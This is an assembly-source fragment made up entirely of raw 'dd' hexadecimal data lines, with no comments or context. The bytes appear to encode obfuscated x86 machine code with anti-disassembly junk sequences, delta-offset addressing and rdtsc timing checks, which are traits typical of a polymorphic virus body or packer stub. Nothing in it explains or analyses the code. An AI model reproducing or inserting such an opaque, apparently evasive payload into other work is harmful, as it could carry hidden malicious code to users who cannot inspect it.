		dd 41000000h, 0F8DCC351h, 23E995FFh, 0BD8B05EAh, 5EA1705h
		dd 0D89D8D8Dh, 0BD8905EDh, 5EA00E1h, 6AD1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7D40E9C3h
		dd 0F8FAD612h, 885BD03h, 0BD8305EAh, 5EA02D1h, 87850F01h
		dd 0F8000000h, 6A026Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 23C0CCC3h, 0EA2C499Dh, 14E85005h
		dd 2D000000h, 5E9C3018h, 20A02002h, 0B8E8159Eh,	9F975DA3h
		dd 50B6F9F4h, 0F525052h, 0F585A31h, 5B585A31h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 421FC355h, 66676AFEh, 0B333CF81h,	1E45BD31h
		dd 95FF05EAh, 5EA163Dh,	2E4D9501h, 87E905EAh, 0E800000Eh
		dd 0
		dd 97ED815Dh, 3105EF09h, 0EA0FD1BDh, 8CBB6605h,	87858D4Eh
		dd 0F05EDC3h, 88h, 66609000h, 605B27BAh, 310F5250h, 12E9585Ah
		dd 72000000h, 0E9871161h, 0AA6FCBE9h, 85D9A96h,	64F3601Ah
		dd 506161F5h, 0BD794FBFh, 0FF649075h, 35h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0DF3DB6C3h, 0A23CE381h, 89640C81h, 25h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0DE853A8h, 96000000h, 0A1A2A58h, 0F794A210h,	793D40A9h
		dd 6B55BB66h, 81665B5Fh, 0FF92B7DFh, 0EA1C4985h, 0DE805h
		dd 2A020000h, 0A8BE291Ch, 0C2131F23h, 603FDDB8h, 0A8DBD89h
		dd 8E0F05EAh, 0
		dd 0FF6A5B61h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	9AC35141h, 0D38166CEh, 0B5FF0A45h, 5EA0E95h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 65C35040h, 152E5705h
		dd 122DBD8Bh, 95FF05EAh, 5EA1449h, 129E9h, 0D781F900h
		dd 7ACC3211h, 816600B0h, 0E6C69ECFh, 5E970h, 0A5FC0000h
		dd 0E43CB1C6h, 4D8D0171h, 3C05EA0Bh, 0FF830F61h, 89000000h
		dd 0EA2EA595h, 0C8B60F05h, 1E899D2Bh, 0BAF805EAh, 6, 1E6D8501h
		dd 0C18B05EAh, 9583BB66h, 8904E8C1h, 0EA1CED85h, 81666005h
		dd 0E943FAC1h, 11h, 24A1B4E0h, 66BBC41Bh, 109FD304h, 8643DE21h
		dd 0F76661AFh, 2BD88BE2h, 0EE9C8h, 417E0000h, 0D339A5B1h
		dd 0A3C76CE2h, 0E93BDCE2h, 97E9D18Bh, 66000000h, 8BAEBABBh
		dd 485h, 18F0F00h, 0F8000000h, 83F88B66h, 0DE907C0h, 74000000h
		dd 300698C1h, 0CA8C92FAh, 0E8DDA338h, 6600C083h, 3B8BFFBFh
		dd 0D830FD0h, 89000000h, 0EA2E6D95h, 54E905h, 0FB8B0000h
		dd 0FFFF8D8Bh, 6057FFFFh, 0E9BCDE80h, 10h, 45899E6Ch, 86A754EBh
		dd 65460E1Bh, 88CAFCAFh, 0E1835F61h, 27840F01h,	66000000h
		dd 0A583FB8Bh, 0FFFFFFFFh, 98D31FEh, 8905EA11h,	495h, 11B58900h
		dd 8B05EA10h, 0EA12B9BDh, 0E905h, 0B58D0000h, 5EE8279h
		dd 0DDB52952h, 5F05EA16h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0C06C35C3h, 0AE9h, 63052900h
		dd 0A1A39C03h, 0FF4A1739h, 0EA101595h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 6C2DFBB2h, 895260D8h, 0EA05B585h, 0B9615805h, 10CEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0BC35141h
		dd 7E036562h, 1EBD8589h, 8D8905EAh, 5EA232Dh, 6AFCE183h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 3A39C350h, 0DE90Bh, 0AB500000h, 0CF6DB88h
		dd 0BDA0F35Ch, 893E312Bh, 0EA19DDBDh, 6AFC05h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0DE0F42C3h, 5E92EA1h, 0B0000000h, 2F9E1AA6h,	6810Fh
		dd 0D7810000h, 30BA335Ah, 0B8h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B70FE280h
		dd 0DD9D8BFBh, 0BA05EA0Fh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1AC35646h
		dd 0F343835h, 680h, 599D8B00h, 0E905EA03h, 0Fh,	23E32F09h
		dd 6F34B768h, 0EE8650BDh, 0AD6547DCh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0AF50C355h, 6A5EC271h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0C925C351h, 0C9C4912Ah, 0DE8BEA6Bh, 880Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 45B2B821h, 0BD858906h, 105EA0Bh, 0EA309995h,	0DD958B05h
		dd 6A05EA0Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 3212C356h, 82D9589h, 858905EAh
		dd 5EA14BDh, 0ACD8D8Bh,	50F905EAh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 4588E52Eh
		dd 0F571764h, 835BFABFh, 0EA0819BDh, 840F0005h,	62h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 56C35343h, 0B529A607h
		dd 5EA19FDh, 0B8h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1804h, 0C3504000h, 44CCDB8Eh, 0A99D29E8h
		dd 0BF05EA2Eh, 33AE0BF9h, 4C218D8Dh, 0E1FF05EAh, 231D8589h
		dd 0BD8305EAh, 5EA25F5h, 2B840F00h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0D999C355h, 0F5BD839Dh, 105EA25h, 41B840Fh, 0DE90000h
		dd 0A6000000h, 5BC4BBF2h, 0A531400Dh, 0EEBB8CB9h, 25F5BD83h
		dd 0F0305EAh, 3C686h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0B52990EDh, 5EA2FF9h
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 1767735Fh, 22840Fh, 9E80000h, 81000000h
		dd 9EC3A50h, 74D48079h,	0EE9h, 2F16C700h, 0DBCAC1B6h, 167B6B88h
		dd 5F17F8BBh, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 22CCC353h, 3BD485A9h
		dd 98F0E1A1h, 80F88B66h, 0BF6604E1h, 0C90A68F8h, 0DC840Fh
		dd 858B0000h, 5EA1629h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0B3C35545h, 0B59D8BF2h, 3305EA30h, 0EA153585h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0A3677F54h, 2A78DA42h, 840F4CBAh, 6, 6A1BD8Bh
		dd 665005EAh, 8902F6BBh, 81662404h, 6AA2EBD3h, 9852900h
		dd 0F05EA13h, 0D668D9B7h, 0E9FA8E26h, 5, 3F0868FEh, 24048192h
		dd 590DD29h, 7898D89h, 9D8B05EAh, 5EA0B91h, 320D95FFh
		dd 3CBB05EAh, 0F520B1Ah, 68Eh, 25BD8900h, 8905EA00h, 0EDD9E085h
		dd 13E905h, 487C0000h, 6A71C75Ah, 19363440h, 9200F079h
		dd 16A8DBAAh, 219E9BAh,	8E0F0000h, 2, 858BD98Bh, 5EDD9D8h
		dd 9498589h, 0C705EAh, 18h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0D8C35747h, 0D9E24EC6h, 12E990h, 0E0A30000h
		dd 0C30358B5h, 0DB2C7E8Ah, 493A07DAh, 0DFEEDBE0h, 0EE860h
		dd 89EF0000h, 16ED5B64h, 7E4D3EB5h, 2FC3D68Dh, 1B358D89h
		dd 0E95F05EAh, 10h, 4C5302C3h, 28011E92h, 8ECB42BAh, 16EF90E4h
		dd 0DCB58B61h, 6A05EDD9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0A751C351h,	2E43063Dh
		dd 5E9E9h, 80250000h, 0E802BCC0h, 0Fh, 3312889Ch, 88F68F53h
		dd 0E2820ABCh, 0F3D5F85h, 287h,	5B5F5300h, 29E5858Bh, 850F05EAh
		dd 3, 89DABF0Fh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 45466EAEh, 8F0FD652h
		dd 5, 0C450C8BBh, 29858B53h, 6A05EA16h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 62A8C357h
		dd 9EBB5C54h, 0BB66F51Eh, 9D2921FBh, 5EA3199h, 9044689h
		dd 0EA0C618Dh, 0EDBB5005h, 893EFC13h, 6A2434h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B5FF82C3h, 5EDD9D8h, 0E068DA8Bh, 50B4F398h,	66525052h
		dd 310FD88Bh, 585A5B53h, 0BB66310Fh, 585A0612h,	1F240481h
		dd 6A4B2B6Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 3579C357h, 23CB8DE5h, 8D837FD0h
		dd 0EDD9E085h, 52505005h, 0B7616060h, 310F6124h, 5ADF8B66h
		dd 24048958h, 14E9h, 46E21D00h,	80DA7AC1h, 4F8DA1AFh, 46EF406Bh
		dd 0A0A40774h, 0FF89B304h, 0EA320D95h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 819D890Bh, 6105EA29h, 1C259D31h, 85C705EAh, 5EA25F5h
		dd 3, 0D9E0BD83h, 0F0005EDh, 1684h, 0C9BD8B00h,	5005EA2Bh
		dd 167BD381h, 0E95F171Eh, 1Eh, 50FA8B66h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 86E823C3h
		dd 7C2D4B36h, 5EBF6611h, 0FFB8BA4h, 0C8Ah, 6860F00h, 31000000h
		dd 0EA2E158Dh, 0F5BD8305h, 305EA25h, 438850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 56B9AFC3h, 5012BB66h, 0D9E0BD83h, 0F0005EDh,	40984h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0CF28DCA9h, 126CBB66h, 0D9E0B5FFh, 858905EDh
		dd 5EA291Dh, 128D95FFh,	6A05EAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 7EC857C3h, 89C2B5C2h
		dd 0EA01498Dh, 0D8D0905h, 8B05EA2Fh, 0EDD9D4B5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 337B3676h, 7C1DA9EAh, 9FBBC5E1h, 894D3057h, 0EA2D1D9Dh
		dd 399D3305h, 0C705EA0Fh, 1000106h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 5F9F683Bh
		dd 55DA7197h, 9D235275h, 5EA255Dh, 6810Fh, 0B5890000h
		dd 5EA3011h, 0D0BF6650h, 243489E6h, 898D0160h, 6605EA0Dh
		dd 0F2AFEF81h, 0E0B5FF61h, 6A05EDD9h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0CB99C352h
		dd 0D9B529BFh, 0FF05EA0Ch, 0EA326995h, 800F5605h, 6, 0ACA8D781h
		dd 8B5F14E7h, 0EDD9D4B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 47105587h
		dd 3AE37819h, 1DF9BD8Bh, 858B05EAh, 5EA0881h, 80C78051h
		dd 0C486895Fh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0EB8FC351h,	65509256h
		dd 258D89C9h, 8B05EA14h, 0EA0ADD95h, 0C9958905h, 8305EA0Ch
		dd 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 5FB17BC3h, 0AFD78166h, 0EF33BBDBh, 665155ECh
		dd 5B79FBBFh, 66205089h, 858DD88Bh, 5EDEB67h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 17C35242h, 0B88689h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 6A03DBC3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0B408D7F1h, 0FFFDB109h
		dd 0EDD9E0B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0E22AF003h, 163D95FFh
		dd 816605EAh, 50BC2BD3h, 13E85657h, 0FF000000h,	269908Eh
		dd 74895F71h, 0C2988D60h, 9DDCEC3Fh, 5B5F8442h,	2434895Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5DC35343h
		dd 0F6688C38h, 1D9D33h,	0B5FF05EAh, 5EDD9E0h, 159BD8Bh
		dd 9D2905EAh, 5EA2F29h,	15A995FFh, 6A05EAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 1BE83EC3h
		dd 9A12F958h, 6840Fh, 8D090000h, 5EA0D19h, 13E9F8h, 1660000h
		dd 98757BA0h, 0C71FF75Ah, 2740F37Ch, 836E95B5h,	5DBD83EEh
		dd 5EA11h, 0D840Fh, 8B660000h, 348950F9h, 65858924h, 0FF05EA11h
		dd 0EDD9E0B5h, 0F5BD2B05h, 0F05EA32h, 683h, 719D3300h
		dd 0FF05EA08h, 0EA1CC995h, 0F9BF0F05h, 0B5FFD88Ah, 5EDD9E0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A2C35545h
		dd 0C6C8CF36h, 0FFFBB70Fh, 0EA230D95h, 0C830F05h, 0F000000h
		dd 68Fh, 0B19D0300h, 8305EA05h,	0EA0631BDh, 840F0205h
		dd 2Dh,	2A319D33h, 858B05EAh, 5EA0C95h,	18E78166h, 0C635h
		dd 14E9h, 6838600h, 0A959EFB9h,	76994B62h, 94FEE49Ch, 0BDE99A3h
		dd 7D85C7ACh, 5EA09h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 9F21C357h, 9B3D5A9Eh
		dd 0F948318Dh, 50FABF0Fh, 25347CBFh, 0ABE95B67h, 6AFFFFF2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0C1E9C357h, 317B9C3Bh, 0D530A76Eh, 1659BD31h
		dd 0C18B05EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0F2C35646h, 1D9D9D01h, 858D05EAh, 5EA298Dh, 24048950h
		dd 875BD8Bh, 6A05EAh, 690DDF81h, 6A2400h, 858DD88Ah, 5EF19C0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0AFC35242h
		dd 0B4D3CB5Dh, 0BD8BB56Ah, 5EA2535h, 6605C083h,	50B04ABFh
		dd 0C608BB66h, 66240489h, 6AC359BFh, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 1E008CD0h
		dd 0DF8B66A7h, 5DF731BFh, 6A006A3Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2201C356h
		dd 8B16534Ch, 0EA30F1BDh, 0F58D0105h, 0FF05EA1Ch, 0EA23E995h
		dd 69BD8905h, 6605EA1Ch, 8D8DF98Bh, 5EDD89Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A6C35242h, 0E0DB6259h
		dd 0FF31727Dh, 0A202BFD1h, 0BD8370B1h, 5EA02D1h, 0A6850F01h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 9C1DC357h, 0E8597CB5h,	0E960056Ch
		dd 0Fh,	0E3167360h, 97B14B8h, 3AEC9DEEh, 606CB6C0h, 8859D89h
		dd 7E805EAh, 6F000000h,	847FBB2Bh, 615E2194h, 8587BB61h
		dd 26A0F87h, 9E890F5h, 0E9000000h, 2E1B6608h, 35253F51h
		dd 505FE8B3h, 6820F90h,	29000000h, 0EA0DA98Dh, 0FFBB6605h
		dd 3D95FF19h, 6A05EA16h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0B036C356h,	0A4918A7Ch
		dd 8B6606BAh, 0DC3E9FAh, 0E80000h, 5D000000h, 19CAED81h
		dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 7A2FAAC3h, 47BCF338h, 2CA9BD89h, 0B70F05EAh
		dd 50006AFAh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 890B0541h, 0EA24AD8Dh, 87858D05h, 6A05EDC3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 7C6DC352h, 0A828AFD1h, 5D9D297Dh,	8B05EA1Ah
		dd 0EA0D59BDh, 8B665005h, 240489D9h, 0D599D8Bh,	0BF0F05EAh
		dd 35FF64FFh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 22C35040h
		dd 0E5BB0F7Bh, 6476F307h, 2589h, 830F0000h, 0
		dd 74C8BB66h, 1C4985FFh, 8E905EAh, 0D0000000h, 47DEA3Fh
		dd 6A593D60h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0B0F2ADC7h, 8F324078h, 0DE8B667Fh
		dd 0C71B5FFh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 90E28FC3h, 2D7474FDh, 4995FF3Fh
		dd 0E905EA14h, 0F1h, 1820Fh, 0B0F50000h, 0CF805100h, 0B5295BCEh
		dd 5EA25EDh, 666070E6h,	60786EBAh, 24B5B58Bh, 816605EAh
		dd 6173A6EEh, 8A71E461h, 0F613CD8h, 0BC83h, 9EEB8000h
		dd 51C8B60Fh, 30999D8Bh, 0BA5B05EAh, 6,	0A171BB66h, 0FCB3C18Bh
		dd 5304E8C1h, 0B919D8Bh, 665F05EAh, 0BD0BE2F7h,	5EA1A41h
		dd 89FCC82Bh, 0EA0F6995h, 0B3D18B05h, 7BE995h, 0BD8B0000h
		dd 5EA2AF1h, 4C44858Bh,	8D895F4Ch, 5EA1A09h, 8307C083h
		dd 0BD8B00C0h, 5EA0DE5h, 830FD03Bh, 1Dh, 50E9h,	6890F00h
		dd 8B000000h, 0EA0579BDh, 68D0F05h, 89000000h, 0EA13158Dh
		dd 0FF8D8B05h, 8BFFFFFFh, 0EA0AE19Dh, 1E18305h,	23840Fh
		dd 0B70F0000h, 0FFA583F9h, 0FEFFFFFFh, 0D358D31h, 958905EAh
		dd 5F4C4C44h, 0B5BD8957h, 5F05EA25h, 0E9h, 47B58D00h, 6A05EE93h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0D97AC350h, 5ED9C838h, 6A006AB5h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 5DE4C357h, 2B598589h, 95FF05EAh, 5EA1015h, 13A99D8Bh
		dd 9EB905EAh, 66000010h, 832C3CBBh, 6AFCE1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 47671C3h
		dd 89713063h, 0EA131D85h, 8D09FC05h, 5EA0A71h, 0BECB8166h
		dd 6AC02B0Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 7F0EC353h, 0DAD63271h,	2B360034h
		dd 85BB66D2h, 0C233AD8Dh, 0D003E8D1h, 7504E983h, 56006AF4h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 5B4B4h, 0F3BEC291h, 66D8B70Fh, 6ADE8Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 96B57EC3h
		dd 0A82E8053h, 0D5BD89F3h, 8905EA28h, 0EA078995h, 880D05h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0ACDDFFC3h, 0E187D913h, 14E95Eh, 56B40000h
		dd 8BDE1955h, 9F683B7Dh, 0DA71975Fh, 66527555h,	958BE7CDh
		dd 5EA0ADDh, 8BD78B60h,	0EA0DD58Dh, 8D8B6105h, 5EA0ACDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A8C35343h
		dd 354BBE4Ah, 8BE0B88Fh, 0EA16B59Dh, 0C28B5005h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A4F1C353h
		dd 9BAE441Ah, 2E313BC4h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 9CC35343h, 7764A5AAh,	31198D89h, 0BD8305EAh
		dd 5EA0819h, 69840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 5B46C356h
		dd 0C19EB457h, 0FF1B362h, 0B8F8BFh, 0F000000h, 8D8DD8B7h
		dd 5EA4C21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	9DC35747h, 3EDF125Ch, 0F56ED37h, 487h, 38BB6600h
		dd 0E1FF5F1Eh, 0FA0ABF66h, 25F5BD83h, 0F0005EAh, 4B784h
		dd 6D858900h, 8305EA1Eh, 0EA25F5BDh, 840F0105h,	4BFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FAC35646h, 9D3CCA78h
		dd 80F24EBBh, 0F5BD8318h, 305EA25h, 457860Fh, 0BD890000h
		dd 5EA061Dh, 57006A60h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0BD0951F5h, 5EA1669h, 0D98C665Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 57C35242h
		dd 1DFEFF3Eh, 44830CEBh, 987EBBB1h, 0BF0F161Eh,	4E180DEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BDC35040h
		dd 0A58BA6D3h, 0C90A987Bh, 145840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 781626C3h
		dd 858B73F6h, 5EA1629h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 97C35646h, 0B296F2A3h, 8533F9A3h, 5EA1535h
		dd 296007B3h, 0EA0BE585h, 66506105h, 891B27BFh,	1EBF2404h
		dd 6A35EBCCh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 9AA588C5h, 19D230Ah, 6805EA12h, 7F0C94EEh
		dd 61605060h, 3481615Bh, 13971124h, 56006A7Fh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0D6B88545h
		dd 880F4B80h, 4, 8D51BF66h, 14E9h, 0C54A0900h, 0FEEB1710h
		dd 0FAA8AF51h, 0A75C00DAh, 0EE0FD29Eh, 0FE98Bh,	0FC920000h
		dd 0E22BF8DFh, 8DC0B794h, 7544B778h, 0D95FFABh,	6A05EA32h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 5582C357h, 0BD2BAF6Dh, 5EA2D1Dh, 0D9E08589h
		dd 958905EDh, 5EA11F5h,	1FBE9h,	9D8B5100h, 5EA1B85h, 9529605Fh
		dd 5EA19F9h, 8B61D88Bh,	0EDD9D885h, 6E905h, 0C3C10000h
		dd 0EF91D740h, 1800C7h,	0D7800000h, 0DCB58BE6h,	0FC05EDD9h
		dd 29E5858Bh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8906C3h, 5EA1EA9h, 75D0D381h
		dd 68949D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0D9C35242h, 8A46F25h, 29858BDBh, 8905EA16h, 0EA0FED95h
		dd 4468905h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	6BC35747h, 12F17D59h, 13E850h, 85460000h, 0B04D103Bh
		dd 0CEBA1C6Dh, 0FC7B39BDh, 0E9B2D496h, 0F98B662Eh, 2434895Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EFC35545h
		dd 24EB35DFh, 0BBC07615h, 8F24DD3h, 0D9D8B5FFh,	6A05EDh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 10A3FDC3h, 41DD92A5h, 9D8B5716h, 5EA2D71h, 0BB66525Bh
		dd 685F1FC9h, 0B8538299h, 5800Fh, 77BB0000h, 814F8C0Bh
		dd 81662404h, 0D78047CBh, 0E0858DABh, 6A05EDD9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 4596C350h, 2C5EDEE2h, 6090CEBBh, 0D65BBE66h,	8C0F5250h
		dd 0
		dd 8D0F310Fh, 0
		dd 5061585Ah, 10E8h, 44EFEE00h,	3DC619EDh, 9A18572Fh, 0DCD9260Fh
		dd 3FBB6638h, 6A905F3Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 66D8C356h, 95FFDA8Bh
		dd 5EA320Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	1AC35646h, 0FF1E4820h, 66603A9Eh, 66F4C0BFh, 615125BBh
		dd 55006A61h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 6781F523h, 31B58945h, 5105EA31h,	0CE9h
		dd 4473EE00h, 27214A1h,	0D577E76Ch, 85C75FD1h, 5EA25F5h
		dd 3, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 1Bh
		dd 2AC35545h, 11B67F1Dh, 89E7DC0Eh, 0EA06159Dh,	0E0BD8305h
		dd 5EDD9h, 27840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 140424h, 56460000h, 21E937C3h, 8B000000h
		dd 0EA00059Dh, 0C305005h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E7D8DF81h, 0F88B4BE0h, 25F5BD83h
		dd 0F0305EAh, 3ED85h, 0BE900h, 9AD50000h, 0AF5AA0DAh, 8C9D4E5Bh
		dd 0E0BD835Fh, 5EDD9h, 3D0840Fh, 0C3800000h, 0E0B5FF00h
		dd 6A05EDD9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E427C351h, 253D9D89h,	95FF05EAh
		dd 5EA128Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	73C35343h, 498D29D5h, 8B05EA1Dh, 0EDD9D4B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0B11ADB6Ch, 7E96028h, 0D2000000h, 32CF400Bh,	0F3BA7ED4h
		dd 615DCDC9h, 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h
